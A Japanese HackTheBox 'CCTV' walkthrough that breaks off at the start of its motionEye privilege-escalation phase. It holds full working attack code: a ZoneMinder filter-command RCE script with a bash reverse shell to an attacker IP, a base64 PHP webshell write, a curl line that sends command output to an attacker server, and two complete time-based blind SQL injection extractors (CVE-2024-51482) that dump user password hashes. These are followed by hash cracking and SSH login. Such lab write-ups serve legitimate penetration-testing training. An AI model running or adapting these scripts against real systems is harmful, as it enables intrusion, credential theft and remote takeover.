
HackTheBox: CCTV
- Phase 1: ターゲット接続確認・状態把握
- Phase 2: Filter AutoExecuteCmd による RCE 試行
- Phase 3: ZoneMinder 設定・環境情報収集
- Phase 4: CVE-2024-51482 時間ベース Blind SQLi — 全ユーザー抽出完了
- Phase 5: bcrypt ハッシュクラック・SSH ログイン
- Phase 6: SSH 内部調査 + motionEye 0.43.1b4 発見
- Phase 7: CVE-2025-60787 — motionEye コマンドインジェクション (Root RCE)
- Phase 8: フラグ取得 — user.txt + root.txt
- まとめ・最終結果
Phase 1: ターゲット接続確認・状態把握
1-1. ターゲット疎通確認
COMMAND
curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 http://cctv.htb/zm/index.php
OUTPUT
200
ターゲット (cctv.htb / 10.129.8.110) は稼働中。ZoneMinder 1.37.63 が応答。
1-2. ログイン確認・イベント・モニター状態
COMMAND (Python)
s.post('/zm/index.php', data={'username':'admin','password':'admin','action':'login',...})
s.get('/zm/api/events.json?limit=5')
s.get('/zm/api/monitors.json')
OUTPUT
Login: True
Events count: 0
Monitors: [{"Monitor":{"Id":1,"Name":"TestCam","Type":"Ffmpeg","Function":"Modect",...}}]
admin/admin でログイン成功。既存モニター TestCam (ID=1) 確認。イベント 0 件。
Phase 2: Filter AutoExecuteCmd による RCE 試行
2-1. イベント作成 (Filter 実行に必要)
COMMAND (Python REST API)
POST /zm/api/events.json Event[MonitorId]=1&Event[Name]=TestEvent&Event[StartDateTime]=...&...
OUTPUT
HTTP 200 (empty body) → GET /zm/api/events.json: count=1, ID=1, Name=TestEvent
イベント ID=1 (TestEvent) を ZoneMinder API で作成成功。Filter の実行条件を満たした。
2-2. Filter 3 (rshell_pwn) の状態確認
COMMAND (Python)
GET /zm/index.php?view=filter&Id=3 # Form parsing: AutoExecuteCmd の値を確認
OUTPUT
Filter 3: rshell_pwn AutoExecuteCmd: bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1' AutoExecute: 1, Background: 1, ExecuteInterval: 60
Filter 3 (rshell_pwn) が設定済み。AutoExecuteCmd に逆接続コマンドが設定されている。
2-3. AutoExecuteCmd をWebシェル書き込みコマンドに更新
COMMAND (Python)
# base64() = PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ cmd = "bash -c 'echo PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+|base64 -d>/usr/share/zoneminder/www/cmd.php'" POST /zm/index.php?view=filter&Id=3 filter[AutoExecuteCmd] = (above cmd) filter[AutoExecute] = 1 filter[Background] = 1 action = Save
OUTPUT
Save: HTTP 200 Verify: AutoExecuteCmd = bash -c 'echo PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+|base64 -d>/usr/share/zoneminder/www/cmd.php'
Filter 3 の AutoExecuteCmd を PHP Webシェル書き込みコマンドに更新。
2-4. Filter 実行 (execute action) – Webシェル作成試み
COMMAND (Python)
POST /zm/index.php?view=filter&Id=3 action = execute (condition: filter[Query][terms][0][attr]=Id, op=>=, val=1)
OUTPUT
Execute: HTTP 200 GET /zm/cmd.php?cmd=id → HTTP 404 (Not Found)
Filter 実行は成功 (200) だが Webシェルファイルが作成されない。パーミッション問題の可能性。
2-5. リバースシェル試行 (Background=0 で動作確認)
COMMAND (Python)
# 自機でリスナー起動 nc -nlvp 9999 & # Filter コマンドをリバースシェルに変更 (Background=0 = 同期実行) cmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.245/9999 0>&1'" filter[Background] = 0 action = execute (timeout 30s)
OUTPUT
requests.exceptions.ReadTimeout: Read timed out. (read timeout=30) # ncリスナーへの接続なし
重要発見: Background=0 でリバースシェルコマンドを設定すると Web リクエストがタイムアウト → コマンドは確実に実行されている。
ただしターゲットから外部への TCP 接続がブロックされている (ファイアウォール)。
2-6. 複数パスへの Webシェル書き込み試み
COMMAND (Python)
# 以下のパスに Webシェルを書き込み試行: # - /var/www/html/cmd.php # - /usr/share/zoneminder/www/cmd.php # Background=0 で同期実行
OUTPUT
Execute for /var/www/html/cmd.php: HTTP 200 Execute for /usr/share/zoneminder/www/cmd.php: HTTP 200 GET http://cctv.htb/cmd.php?cmd=id → 404 GET http://cctv.htb/zm/cmd.php?cmd=id → 404
コマンドは実行されるが、ファイルが作成されない。www-data ユーザーには対象ディレクトリへの書き込み権限がない可能性。
2-7. HTTP 外部通信によるコマンド実行確認試み
COMMAND
# 自機でHTTPサーバー起動 python3 -m http.server 8080 > /tmp/http_server.log 2>&1 & # Filter コマンド: curl で id 出力を送信 cmd = "bash -c 'curl -s http://10.10.14.245:8080/?X=$(id|base64 -w0)'" action = execute
OUTPUT
Execute: HTTP 200 (Background=1) HTTP server log: (空 - リクエストなし)
ターゲットから外部への HTTP リクエストも到達せず。アウトバウンド通信全般がファイアウォールでブロックされている。
2-8. zm_filter_exploit.py — ソースコード
zm_filter_exploit.py
#!/usr/bin/env python3
"""
ZoneMinder Filter AutoExecuteCmd RCE
Target: 10.129.6.194 (cctv.htb)
Author: CTF Session 2026-05-31
Key findings:
1. ZoneMinder admin/admin credentials work
2. Filter AutoExecuteCmd allows command execution
3. zmfilter.pl appends event ID to command - use bash -c wrapper
4. Filter save action must use "Save" (capital S), not "save"
5. Reverse shell: bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
"""
import requests
import re
import html as htmllib
from bs4 import BeautifulSoup
import sys
TARGET = 'http://10.129.6.194'
LHOST = '10.10.14.245'
LPORT = '4444'
FILTER_ID = '5' # rshell_pwn (owned by admin)
headers = {'Host': 'cctv.htb'}
s = requests.Session()
s.headers.update(headers)
def login():
r = s.get(f"{TARGET}/zm/index.php")
csrf = re.search(r"name=['\"]__csrf_magic['\"] value=['\"]([^'\"]+)['\"]", r.text).group(1)
login_data = {'username': 'admin', 'password': 'admin', 'action': 'login', '__csrf_magic': csrf, 'view': 'login'}
r2 = s.post(f"{TARGET}/zm/index.php", data=login_data)
if 'logout' in r2.text.lower() or 'monitor' in r2.text.lower():
print("[+] Login successful: admin/admin")
return True
print("[-] Login failed")
return False
def get_filter_form(filter_id):
r = s.get(f"{TARGET}/zm/index.php?view=filter&Id={filter_id}")
soup = BeautifulSoup(r.text, 'html.parser')
forms = soup.find_all('form')
if len(forms) < 2:
return None, None
content_form = forms[1]
form_data = {}
for inp in content_form.find_all(['input', 'select', 'textarea']):
name = inp.get('name')
if not name:
continue
if inp.name == 'select':
selected_opt = inp.find('option', selected=True)
val = selected_opt.get('value', '') if selected_opt else ''
elif inp.name == 'textarea':
val = inp.get_text()
else:
val = inp.get('value', '')
form_data[name] = htmllib.unescape(str(val) if val else '')
return form_data, r
def save_filter(filter_id, cmd):
form_data, _ = get_filter_form(filter_id)
if not form_data:
print("[-] Failed to get filter form")
return False
# KEY FIX: Use "Save" (capital S) not "save"
form_data['action'] = 'Save'
form_data['filter[AutoExecuteCmd]'] = cmd
form_data['filter[AutoExecute]'] = '1'
form_data['filter[Background]'] = '1'
r = s.post(f"{TARGET}/zm/index.php?view=filter&Id={filter_id}", data=form_data)
print(f"[*] Save response: {r.status_code}")
# Verify
form_data2, _ = get_filter_form(filter_id)
if form_data2 and cmd in form_data2.get('filter[AutoExecuteCmd]', ''):
print(f"[+] Filter {filter_id} saved with new command!")
return True
else:
saved_cmd = form_data2.get('filter[AutoExecuteCmd]', '') if form_data2 else 'unknown'
print(f"[-] Save failed. Current cmd: {saved_cmd[:80]}")
return False
def execute_filter(filter_id):
form_data, _ = get_filter_form(filter_id)
if not form_data:
return False
form_data['action'] = 'execute'
r = s.post(f"{TARGET}/zm/index.php?view=filter&Id={filter_id}", data=form_data)
print(f"[*] Execute response: {r.status_code}")
return r.status_code == 200
if __name__ == '__main__':
if not login():
sys.exit(1)
# Reverse shell via bash -c wrapper (handles appended event ID)
cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
print(f"[*] Setting AutoExecuteCmd: {cmd}")
if save_filter(FILTER_ID, cmd):
print(f"[*] Start netcat: nc -nlvp {LPORT}")
input("[*] Press Enter when listener is ready...")
execute_filter(FILTER_ID)
print("[*] Waiting for shell...")
else:
print("[!] Save failed - trying execute with existing cmd")
execute_filter(FILTER_ID)
Phase 3: ZoneMinder 設定・環境情報収集
3-1. ZoneMinder 全設定値取得
COMMAND (Python)
GET /zm/api/configs.json?limit=200
KEY FINDINGS
ZM_PATH_WEB: /usr/share/zoneminder/www ← Webルート ZM_PATH_DATA: /usr/share/zoneminder ZM_PATH_BIN: /usr/bin ZM_PATH_CONF: /etc/zm ZM_PATH_CGI: /usr/lib/zoneminder/cgi-bin ZM_WEB_USER: www-data ZM_WEB_GROUP: www-data ZM_DIR_EVENTS: /var/cache/zoneminder/events ZM_PATH_LOGS: /var/log/zm ZM_PATH_FFMPEG: /usr/bin/ffmpeg ZM_UPLOAD_LOC_DIR: /var/www/html/ ← アップロード先 ZM_DIR_EXPORTS: /var/tmp/zm ZM_PATH_SOCKS: /run/zm
ZoneMinder の詳細パス設定を取得。Web ユーザーは www-data。Web ルートは /usr/share/zoneminder/www。アップロード先は /var/www/html/。
3-2. サービス状態確認
COMMAND (Python)
GET /zm/api/host/daemonCheck.json GET /zm/api/host/getVersion.json
OUTPUT
daemonCheck: {"result":1}
version: {"version":"1.37.63","apiversion":"2.0"}
ZoneMinder サービス稼働中。バージョン: 1.37.63, API: 2.0。
Phase 4: CVE-2024-51482 時間ベース Blind SQLi — 全ユーザー抽出完了
4-1. SQLi タイミング設定・脆弱性概要
エンドポイント
POST /zm/index.php?view=request&request=event&action=removetag data: tid=PAYLOAD&eid=1 ペイロード形式: 1 AND IF(condition, (SELECT 3 FROM (SELECT SLEEP(N))A), 0) 設定値: SLEEP_SEC = 6 (TRUE → ~6.2s 遅延) THRESHOLD = 5.0s (TRUE min=6.23s, FALSE max=0.78s で安全マージン=1.2s) MAX_RETRIES = 3 文字抽出: バイナリサーチ (ASCII 32-126, 7ステップ/文字)
サーバー再起動後はベースラインが 0.4-0.8s に改善。TRUE/FALSE の区別が容易になり抽出精度が向上。
4-2. 抽出スクリプト (cve_51482_extract_v3.py / cve_51482_resume.py)
COMMAND
# 全ユーザー抽出 python3 /home/kali/Desktop/VScode/htb-cctv/cve_51482_extract_v3.py # mark + admin 全抽出 (resume) python3 /home/kali/Desktop/VScode/htb-cctv/cve_51482_resume.py
抽出ログ
Logging in as admin/admin... Login OK User 2/3: mark (resuming password from pos 50) [*] Password[mark] length: 60 [+] Password[mark] [60/60]: $2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QOqZolbXKfFG. mark: $2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QOqZolbXKfFG. User 3/3: extracting username + password [*] Username[2] length: 5 → admin [*] Password[2] length: 60 [+] Password[2] [60/60]: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1UiPnrlCkdXrzJMnJgkTiAvRUM6m User 3: admin:$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1UiPnrlCkdXrzJMnJgkTiAvRUM6m Total elapsed: 36m10s, Requests: 533 Saved → /home/kali/Desktop/VScode/htb-cctv/zm_credentials_final.txt
zm.Users テーブルの全 3 ユーザーの認証情報を完全抽出。合計 533 リクエスト、所要時間約 36 分 (mark 再開分)。
4-3. 抽出済み認証情報と修正後の正確なハッシュ値
重要: 時間ベース SQLi による抽出ではタイミング誤差により数文字の読み取りエラーが発生していた。
後のクラック処理で判明した修正後の正確なハッシュを以下に記載する。
| ユーザー名 | SQLi 抽出値 (一部誤り) | 正確なハッシュ ($2y$10$, cost=10) |
|---|---|---|
| superadmin | $2y$10$cmytVWFhnt1XfqsItsMRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QOqZolbXKfFG. | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1UiPnrlCkdXrzJMnJgkTiAvRUM6m | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
4-4. cve_51482_extract_v3.py — ソースコード
cve_51482_extract_v3.py
#!/usr/bin/env python3
"""
CVE-2024-51482 ZoneMinder Time-Based Blind SQLi - Credential Extractor v3
Target: cctv.htb
Settings: SLEEP=5s, THRESHOLD=3.0s, retries=3, voting for edge cases
"""
import requests
import re
import sys
import time
import datetime
TARGET = 'http://cctv.htb'
SLEEP_SEC = 6
THRESHOLD = 6.5 # baseline ~3.8s, sleep ~9.5s → safe margin
MAX_RETRIES = 3
DELAY_BETWEEN_REQS = 0.3
VOTE_MARGIN = 2 # mid±VOTE_MARGIN: use double-check to avoid false negatives
s = requests.Session()
s.headers.update({'Host': 'cctv.htb'})
req_count = 0
start_time = time.time()
def login():
r = s.get(f'{TARGET}/zm/index.php', timeout=15)
csrf = re.search(r"name=['\"]__csrf_magic['\"] value=['\"]([^'\"]+)['\"]", r.text)
if not csrf:
return False
r2 = s.post(f'{TARGET}/zm/index.php', data={
'username': 'admin', 'password': 'admin',
'action': 'login', '__csrf_magic': csrf.group(1), 'view': 'login'
}, timeout=15)
return 'logout' in r2.text.lower() or 'monitor' in r2.text.lower()
BASE_URL = f'{TARGET}/zm/index.php'
PARAMS = {'view': 'request', 'request': 'event', 'action': 'removetag'}
def sqli_time_raw(condition):
"""Single SQLi timing request. Returns (slept, elapsed)."""
global req_count
payload = '1 AND IF(%s,(SELECT 3 FROM (SELECT SLEEP(%d))A),0)' % (condition, SLEEP_SEC)
req_count += 1
t0 = time.time()
try:
r = s.post(BASE_URL, params=PARAMS,
data={'tid': payload, 'eid': '1'},
timeout=SLEEP_SEC + 10)
elapsed = time.time() - t0
time.sleep(DELAY_BETWEEN_REQS)
if r.status_code == 401:
print('\n[!] 401 - re-login...')
login()
return None
return elapsed > THRESHOLD, elapsed
except requests.exceptions.Timeout:
elapsed = time.time() - t0
time.sleep(0.5)
return (True, elapsed) if elapsed > THRESHOLD else (False, elapsed)
except Exception as e:
time.sleep(2)
return None
def sqli_time(condition, retries=MAX_RETRIES):
"""Retry-aware SQLi timing. Returns True/False."""
for attempt in range(retries):
result = sqli_time_raw(condition)
if result is not None:
return result[0], result[1]
# None = session error, retry after re-login
login()
return False, 0
def get_length(query, max_len=80):
"""Extract exact length of result string."""
# First fast bound: is len < threshold?
for length in [10, 20, 30, 40, 50, 60, 70, max_len]:
is_true, _ = sqli_time('LENGTH((%s))<%d' % (query, length + 1))
if is_true:
# Binary search down to exact
lo, hi = (length - 10) if length > 10 else 0, length
while lo < hi:
mid = (lo + hi) // 2
is_less, _ = sqli_time('LENGTH((%s))<=%d' % (query, mid))
if is_less:
hi = mid
else:
lo = mid + 1
return lo
return max_len
def binary_search_char(query, pos):
"""Binary search for ASCII value of char at position pos."""
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
is_true, elapsed = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
# Edge case: borderline timing (5.0-7.0s) → double-check
if 5.0 < elapsed < 8.0 and not is_true:
is_true2, _ = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
is_true = is_true2
if is_true:
lo = mid + 1
else:
hi = mid
return chr(lo)
def extract_string(sql_query, max_len=80, label='', known_prefix=''):
"""Extract full string. known_prefix skips already-known chars."""
result = known_prefix
start_pos = len(known_prefix) + 1
if known_prefix:
print(f'[*] Resuming {label} from position {start_pos} (known: {known_prefix})')
# Get length first to avoid wasted requests at end
print(f'[*] Getting length of {label}...')
length = get_length(sql_query, max_len)
print(f'[*] {label} length: {length}')
if length == 0:
return ''
for pos in range(start_pos, length + 1):
elapsed_total = time.time() - start_time
eta = elapsed_total / max(pos - len(known_prefix) - 1, 1) * (length - pos + 1) if pos > start_pos else 0
eta_str = f'{int(eta//60)}m{int(eta%60)}s' if eta > 0 else '?'
char = binary_search_char(sql_query, pos)
result += char
print(f'\r[+] {label} [{pos}/{length}] (ETA:{eta_str}): {result}', end='', flush=True)
print()
return result
def get_user_count():
"""Get total number of users in zm.Users."""
for n in range(1, 15):
is_true, _ = sqli_time('(SELECT COUNT(*) FROM zm.Users)=%d' % n)
if is_true:
return n
return -1
def log(msg):
ts = datetime.datetime.now().strftime('%H:%M:%S')
print(f'[{ts}] {msg}')
if __name__ == '__main__':
print('=' * 65)
print(' CVE-2024-51482 ZoneMinder Blind SQLi - Extractor v3')
print(f' Target: {TARGET}')
print(f' SLEEP={SLEEP_SEC}s THRESHOLD={THRESHOLD}s RETRIES={MAX_RETRIES}')
print('=' * 65)
print()
log('Logging in as admin/admin...')
if not login():
print('[-] Login failed')
sys.exit(1)
log('Login OK')
log('Getting user count from zm.Users...')
count = get_user_count()
log(f'Users in zm.Users: {count}')
if count <= 0:
print('[-] No users found or count check failed')
sys.exit(1)
credentials = []
for i in range(min(count, 10)):
print()
print(f'{"="*30}')
log(f'Extracting User {i+1} of {count}')
print(f'{"="*30}')
uq = 'SELECT Username FROM zm.Users ORDER BY Id LIMIT 1 OFFSET %d' % i
pq = 'SELECT Password FROM zm.Users ORDER BY Id LIMIT 1 OFFSET %d' % i
username = extract_string(uq, max_len=50, label=f'Username[{i}]')
if not username:
log(f'No username at offset {i}, stopping')
break
password = extract_string(pq, max_len=65, label=f'Password[{i}]')
credentials.append((username, password))
elapsed = time.time() - start_time
log(f'User {i+1}: {username}:{password}')
log(f'Elapsed: {int(elapsed//60)}m{int(elapsed%60)}s, Requests: {req_count}')
print()
print('=' * 65)
print(' EXTRACTED CREDENTIALS')
print('=' * 65)
for u, p in credentials:
print(f'Username : {u}')
print(f'Password : {p}')
print(f'Hash type: bcrypt $2y$10$ (cost 10)')
print()
# Save results
out_path = '/home/kali/Desktop/VScode/htb-cctv/zm_credentials_v3.txt'
with open(out_path, 'w') as f:
f.write('# CVE-2024-51482 - zm.Users extraction\n')
f.write(f'# Extracted: {datetime.datetime.now()}\n')
f.write(f'# Target: {TARGET}\n\n')
for u, p in credentials:
f.write(f'{u}:{p}\n')
log(f'Saved to {out_path}')
log(f'Total requests: {req_count}')
log(f'Total time: {int((time.time()-start_time)//60)}m{int((time.time()-start_time)%60)}s')
4-5. cve_51482_resume.py — ソースコード
cve_51482_resume.py
#!/usr/bin/env python3
"""
CVE-2024-51482 ZoneMinder Time-Based Blind SQLi - Resume Script
再開: mark (位置46〜60) + User 3 (admin) の全抽出
"""
import requests
import re
import sys
import time
import datetime
TARGET = 'http://cctv.htb'
SLEEP_SEC = 6
THRESHOLD = 5.0 # TRUE min=6.23s, FALSE max=3.68s → 安全マージン1.3s以上
MAX_RETRIES = 3
DELAY_BETWEEN_REQS = 0.3
s = requests.Session()
s.headers.update({'Host': 'cctv.htb'})
req_count = 0
start_time = time.time()
# 前回完了済みの結果
KNOWN_RESULTS = {
0: ('superadmin', '$2y$10$cmytVWFhnt1XfqsItsMRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm'),
}
# mark のハッシュ途中まで
MARK_HASH_PREFIX = '$2y$10$prZJnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QO' # pos 49 confirmed
def login():
r = s.get(f'{TARGET}/zm/index.php', timeout=15)
csrf = re.search(r"name=['\"]__csrf_magic['\"] value=['\"]([^'\"]+)['\"]", r.text)
if not csrf:
return False
r2 = s.post(f'{TARGET}/zm/index.php', data={
'username': 'admin', 'password': 'admin',
'action': 'login', '__csrf_magic': csrf.group(1), 'view': 'login'
}, timeout=15)
return 'logout' in r2.text.lower() or 'monitor' in r2.text.lower()
BASE_URL = f'{TARGET}/zm/index.php'
PARAMS = {'view': 'request', 'request': 'event', 'action': 'removetag'}
def sqli_time_raw(condition):
global req_count
payload = '1 AND IF(%s,(SELECT 3 FROM (SELECT SLEEP(%d))A),0)' % (condition, SLEEP_SEC)
req_count += 1
t0 = time.time()
try:
r = s.post(BASE_URL, params=PARAMS,
data={'tid': payload, 'eid': '1'},
timeout=SLEEP_SEC + 10)
elapsed = time.time() - t0
time.sleep(DELAY_BETWEEN_REQS)
if r.status_code == 401:
print('\n[!] 401 - re-login...')
login()
return None
return elapsed > THRESHOLD, elapsed
except requests.exceptions.Timeout:
elapsed = time.time() - t0
time.sleep(0.5)
return (True, elapsed) if elapsed > THRESHOLD else (False, elapsed)
except Exception:
time.sleep(2)
return None
def sqli_time(condition, retries=MAX_RETRIES):
for attempt in range(retries):
result = sqli_time_raw(condition)
if result is not None:
return result[0], result[1]
login()
return False, 0
def get_length(query, max_len=80):
for length in [10, 20, 30, 40, 50, 60, 70, max_len]:
is_true, _ = sqli_time('LENGTH((%s))<%d' % (query, length + 1))
if is_true:
lo, hi = (length - 10) if length > 10 else 0, length
while lo < hi:
mid = (lo + hi) // 2
is_less, _ = sqli_time('LENGTH((%s))<=%d' % (query, mid))
if is_less:
hi = mid
else:
lo = mid + 1
return lo
return max_len
def binary_search_char(query, pos):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
is_true, elapsed = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
if 4.0 < elapsed < 7.0 and not is_true:
is_true2, _ = sqli_time('ASCII(SUBSTR((%s),%d,1))>%d' % (query, pos, mid))
is_true = is_true2
if is_true:
lo = mid + 1
else:
hi = mid
return chr(lo)
def extract_string(sql_query, max_len=80, label='', known_prefix=''):
result = known_prefix
start_pos = len(known_prefix) + 1
if known_prefix:
print(f'[*] Resuming {label} from position {start_pos} (known: {known_prefix})')
length = max_len # すでにわかっている場合はスキップしない
# 長さを確認
print(f'[*] Verifying length of {label}...')
length = get_length(sql_query, max_len)
print(f'[*] {label} length: {length}')
else:
print(f'[*] Getting length of {label}...')
length = get_length(sql_query, max_len)
print(f'[*] {label} length: {length}')
if length == 0:
return ''
for pos in range(start_pos, length + 1):
elapsed_total = time.time() - start_time
chars_done = pos - len(known_prefix) - 1
eta = (elapsed_total / max(chars_done, 1)) * (length - pos + 1) if chars_done > 0 else 0
eta_str = f'{int(eta//60)}m{int(eta%60)}s' if eta > 0 else '?'
char = binary_search_char(sql_query, pos)
result += char
print(f'\r[+] {label} [{pos}/{length}] (ETA:{eta_str}): {result}', end='', flush=True)
print()
return result
def log(msg):
ts = datetime.datetime.now().strftime('%H:%M:%S')
print(f'[{ts}] {msg}')
if __name__ == '__main__':
print('=' * 65)
print(' CVE-2024-51482 ZoneMinder Blind SQLi - Resume')
print(f' Target: {TARGET}')
print(f' SLEEP={SLEEP_SEC}s THRESHOLD={THRESHOLD}s')
print(f' 再開: mark (pos 46/60) + User 3 全抽出')
print('=' * 65)
print()
log('Logging in as admin/admin...')
if not login():
print('[-] Login failed')
sys.exit(1)
log('Login OK')
credentials = list(KNOWN_RESULTS.values()) # superadmin は既知
# ── User 2: mark (ハッシュ残り15文字を再開) ──
print()
print('=' * 40)
log('User 2/3: mark (resuming password from pos 46)')
print('=' * 40)
pq_mark = 'SELECT Password FROM zm.Users ORDER BY Id LIMIT 1 OFFSET 1'
mark_password = extract_string(pq_mark, max_len=65, label='Password[mark]',
known_prefix=MARK_HASH_PREFIX)
credentials.append(('mark', mark_password))
elapsed = time.time() - start_time
log(f'mark: {mark_password}')
log(f'Elapsed so far: {int(elapsed//60)}m{int(elapsed%60)}s, Requests: {req_count}')
# ── User 3: admin (全抽出) ──
print()
print('=' * 40)
log('User 3/3: extracting username + password')
print('=' * 40)
uq_admin = 'SELECT Username FROM zm.Users ORDER BY Id LIMIT 1 OFFSET 2'
pq_admin = 'SELECT Password FROM zm.Users ORDER BY Id LIMIT 1 OFFSET 2'
username3 = extract_string(uq_admin, max_len=50, label='Username[2]')
if not username3:
log('No user at offset 2, stopping')
else:
password3 = extract_string(pq_admin, max_len=65, label='Password[2]')
credentials.append((username3, password3))
elapsed = time.time() - start_time
log(f'User 3: {username3}:{password3}')
log(f'Total elapsed: {int(elapsed//60)}m{int(elapsed%60)}s, Requests: {req_count}')
# ── 全結果表示 ──
print()
print('=' * 65)
print(' 全抽出結果 (zm.Users)')
print('=' * 65)
all_users = [
('superadmin', KNOWN_RESULTS[0][1]),
*[(u, p) for u, p in credentials if u not in ('superadmin',)],
]
for u, p in all_users:
print(f'Username : {u}')
print(f'Password : {p}')
print()
# ── 保存 ──
out_path = '/home/kali/Desktop/VScode/htb-cctv/zm_credentials_final.txt'
with open(out_path, 'w') as f:
f.write('# CVE-2024-51482 - zm.Users 全抽出結果\n')
f.write(f'# 完了: {datetime.datetime.now()}\n\n')
for u, p in all_users:
f.write(f'{u}:{p}\n')
log(f'Saved → {out_path}')
log(f'Total requests: {req_count}')
Phase 5: bcrypt ハッシュクラック・SSH ログイン
5-1. ハッシュアルゴリズム詳細解析
| 項目 | 値 |
|---|---|
| アルゴリズム | bcrypt (Blowfish) — PHP $2y$ variant ($2b$ と同等) |
| コストファクター | 10 (イテレーション回数 = 2^10 = 1,024) |
| ソルト長 | 22文字 (128ビット, Base64エンコード) |
| ハッシュ全長 | 60文字 |
| レインボーテーブル | 不可 (ユーザーごとに異なるソルト) |
| GPU 加速 | 効果限定的 (Blowfish はメモリアクセスパターンが不規則) |
bcrypt はパスワードクラッキングに対して設計上耐性があるアルゴリズム。CPU 環境での ~108 p/s が実質的な上限。
5-2. john クラック成功 (rockyou2.txt 使用)
COMMAND
# 修正されたハッシュで hash.txt を作成 $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m # john でクラック実行 john hash.txt --wordlist=/usr/share/wordlists/rockyou2.txt
OUTPUT
Using default input encoding: UTF-8 Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 6 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 15 candidates left, minimum 18 needed for performance. opensesame (?) 1g DONE 4.545g/s 68.18p/s 204.5c/s 204.5C/s opensesame..opensesame.com Session completed.
mark のパスワードクラック成功: opensesame
python3 bcrypt.checkpw(b’opensesame’, mark_hash) で照合済み。 superadmin / admin は未クラック (rockyou2.txt に含まれず)。
python3 bcrypt.checkpw(b’opensesame’, mark_hash) で照合済み。 superadmin / admin は未クラック (rockyou2.txt に含まれず)。
5-3. SSH ログイン成功 (mark:opensesame)
COMMAND
ssh mark@10.129.8.110 # パスワード: opensesame
OUTPUT
mark@cctv:~$ id uid=1000(mark) gid=1000(mark) groups=1000(mark) mark@cctv:~$ uname -a Linux cctv 6.1.0-31-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.128-1 (2025-02-07) x86_64 GNU/Linux
SSH ログイン成功。mark ユーザーとして対象ターゲットへのアクセスを確立。
次フェーズで内部環境調査・権限昇格を実施。
Phase 6: SSH 内部調査 + motionEye 0.43.1b4 発見
6-1. プロセス・サービス調査 (hidepid=2 環境)
COMMAND
mark@cctv:~$ mount | grep proc # → proc on /proc type proc (rw,nosuid,nodev,noexec,relatime,hidepid=2) mark@cctv:~$ systemctl list-units --type=service --state=running
KEY FINDINGS
hidepid=2 が有効 → 他ユーザーのプロセスが ps/top で非表示 動作中のサービス (抜粋): motioneye.service — motionEye camera management (ポート 8765) motion.service — motion デーモン (RTSP キャプチャ) zoneminder.service — ZoneMinder (ポート 80) ssh.service mariadb.service
重要発見:
motioneye.service が稼働中。ポート 8765 (localhost のみバインド) で motionEye 0.43.1b4 が動作していることを確認。
6-2. motionEye systemd サービス設定 (特権確認)
COMMAND
mark@cctv:~$ cat /etc/systemd/system/motioneye.service
OUTPUT
[Unit] Description=motionEye Server After=network.target [Service] Type=simple User=root ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf Restart=on-failure [Install] WantedBy=multi-user.target
重大発見:
User=root — motionEye (および motion デーモン) が root 権限で動作。
motionEye で RCE を達成できれば即 root シェル取得可能。
6-3. motionEye 設定・認証情報確認
COMMAND
mark@cctv:~$ cat /etc/motioneye/motioneye.conf
OUTPUT (抜粋)
admin_username admin admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0 normal_username normal_password port 8765 listen 127.0.0.1
admin_password は SHA1 ハッシュ (
989c5a8e...) として保存。
これが API 署名認証の key として直接使用されることを後の解析で確認。
listen 127.0.0.1 → SSH トンネルが必要。
6-4. SSH トンネリング (ポート転送)
COMMAND (Kali 側)
ssh -L 8765:127.0.0.1:8765 mark@10.129.8.110 -N &
# 確認
curl -s -o/dev/null -w "%{http_code}" http://127.0.0.1:8765/
→ 200
SSH ローカルポート転送により、Kali の localhost:8765 → ターゲット 127.0.0.1:8765 へのアクセスを確立。
6-5. RTSP ストリーム・motion 制御 API 確認
発見事項
RTSP ストリーム: rtsp://localhost:8554/cam01 (gortsplib サーバー)
motion 制御 API: http://127.0.0.1:7999 (motion デーモン直接 HTTP 制御)
GET /1/action/snapshot → スナップショット取得
GET /0/action/restart → motion デーモン再起動 (設定リロード)
※ motionEye の /action/{cam_id}/restart は 400 "unknown action" — 制御 API を直接使うこと
motion デーモンの制御 API がポート 7999 でバインドされており、mark ユーザーからアクセス可能。スナップショット起動でイベントトリガーが可能。
Phase 7: CVE-2025-60787 — motionEye コマンドインジェクション (Root RCE)
7-1. CVE-2025-60787 概要
CVE-2025-60787 — motionEye 0.43.1b4 以前の
